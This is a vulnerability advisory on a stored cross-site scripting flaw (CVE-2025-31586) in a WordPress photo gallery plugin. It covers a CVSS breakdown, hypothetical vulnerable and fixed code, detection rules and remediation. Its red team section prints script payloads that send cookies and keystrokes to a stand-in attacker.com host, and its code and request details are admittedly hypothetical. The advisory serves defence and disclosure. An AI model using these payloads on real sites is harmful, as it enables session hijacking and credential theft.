CVE-2025-31586

Executive Summary

CVE-2025-31586 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gallery – Photo Albums Plugin (easy-media-gallery) by Ghozylab, affecting versions up to and including 1.3.170. This WordPress plugin fails to properly neutralize user-supplied input during web page generation, allowing authenticated attackers with contributor-level privileges or higher to inject arbitrary JavaScript into photo album descriptions or metadata. The injected script executes in the context of any user viewing the affected gallery page, leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.5 (Medium), with no known public exploit or patch available as of the analysis date. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a persistent risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not managed through NPM, PyPI, Go, or Ruby ecosystems. However, the supply chain risk is elevated due to the vendor’s unresponsiveness and the absence of a patch. Site administrators should treat this as a supply chain compromise vector, as the plugin may be bundled in themes or third-party distributions. No known malicious forks or backdoored versions have been reported, but manual verification of plugin integrity is recommended.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required beyond standard web access.
• Privileges Required (PR): High – Attacker needs contributor-level or higher WordPress account.
• User Interaction (UI): Required – Victim must view the compromised gallery page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Script can modify page content.
• Availability (A): Low – Potential for denial of service via script loops.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature means a single injection can affect many users. The lack of a patch increases long-term risk.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of input in the easy-media-gallery plugin’s album creation and editing functionality. When a user with contributor-level privileges or higher creates or edits a photo album, the plugin accepts HTML/JavaScript input in fields such as album title, description, or image captions without proper sanitization or output encoding. The plugin stores this input directly into the WordPress database via wp_postmeta or custom tables. When the gallery is rendered on the frontend, the plugin outputs the stored data without escaping, allowing the injected script to execute in the victim’s browser.

Root Cause: The plugin likely uses echo $album_description; or similar constructs without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post(). The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation).

Attack Flow:

1. Attacker logs in with a contributor-level account.
2. Attacker navigates to the plugin’s album management page.
3. Attacker creates a new album or edits an existing one, injecting a payload like <script>alert('XSS')</script> into the description field.
4. The plugin stores the payload in the database.
5. When an administrator or visitor views the gallery page, the payload executes.

WordPress Ecosystem Note: This is a WordPress plugin vulnerability, not related to Apache or Nginx. The attack surface is limited to WordPress installations with the plugin active.

Vulnerable vs. Patched Code

Since no patch is available, the following analysis is based on typical vulnerable patterns in similar plugins.

Vulnerable Code (Hypothetical):

// In a template file like gallery-display.php
$album_description = get_post_meta($post_id, 'album_description', true);
echo '<div class="album-description">' . $album_description . '</div>';

Patched Code (Recommended):

$album_description = get_post_meta($post_id, 'album_description', true);
echo '<div class="album-description">' . esc_html($album_description) . '</div>';

Key Differences:

• The vulnerable code directly echoes the raw database value.
• The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.
• Alternatively, wp_kses_post() could be used to allow safe HTML while stripping dangerous tags.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Gallery – Photo Albums Plugin <= 1.3.170.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to wp-admin/admin.php?page=easy-media-gallery.
3. Click “Add New Album” or edit an existing album.
4. In the “Description” field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the album.
6. As an administrator or visitor, view the gallery page (e.g., /gallery/album-name/). The script executes, exfiltrating cookies.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Note: No public exploit code is available from Exploit-DB. The above is a generic demonstration.

Blue Team (Defensive)

Detection Steps:

1. Monitor WordPress admin logs for unusual album creation/editing activity.
2. Inspect the wp_postmeta table for suspicious HTML/JavaScript in album_description fields.
3. Use a web application firewall (WAF) to block common XSS payloads in POST requests to wp-admin/admin-ajax.php or wp-admin/admin-post.php.

Honeypot Setup:

• Deploy a decoy WordPress instance with the vulnerable plugin.
• Monitor for any POST requests containing <script> tags in album-related fields.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to unknown domains containing ?cookie= or ?key= parameters.
• POST requests to /wp-admin/admin-ajax.php with action=save_album and payloads containing <script> tags.

Host IOCs:

• Entries in wp_postmeta with meta_key containing album_description and meta_value containing <script> or onerror= attributes.
• Modified plugin files (e.g., easy-media-gallery/gallery-display.php) if attacker gains file write access.

File IOCs:

• Suspicious JavaScript files in /wp-content/uploads/ or /wp-content/plugins/easy-media-gallery/ not part of the original plugin.

Detection Engineering

YARA Rule

rule CVE_2025_31586_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Gallery – Photo Albums Plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31586"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $plugin_path = /easy-media-gallery/
    condition:
        any of ($xss*) and $plugin_path
}

Sigma Rule

title: Stored XSS in Gallery – Photo Albums Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in album descriptions
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'action=save_album'
        http.body|contains|all:
            - '<script'
            - 'album_description'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-31586 Stored XSS in Gallery – Photo Albums Plugin"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save_album"; http_client_body; content:"<script"; within:100; reference:cve,2025-31586; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations. Navigate to wp-admin/plugins.php and deactivate “Gallery – Photo Albums Plugin”.
2. Remove the plugin entirely via wp-admin/plugins.php or manually delete the /wp-content/plugins/easy-media-gallery/ directory.
3. Scan for existing compromises using the YARA rule above on the database and file system.

Long-Term Mitigation:

• Replace the plugin with an actively maintained alternative (e.g., “NextGEN Gallery” or “Envira Gallery”).
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST requests.
• Enforce least privilege – restrict contributor-level accounts to only trusted users.
• Monitor plugin updates – subscribe to WordPress plugin security advisories.

Patch Workaround (If plugin must remain):

• Manually edit the plugin’s template file (e.g., gallery-display.php) to add esc_html() around output variables. This will break if the plugin updates.

Valters IT Signature:
This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division. All analysis is based on publicly available data and hypothetical exploitation scenarios. No actual systems were harmed.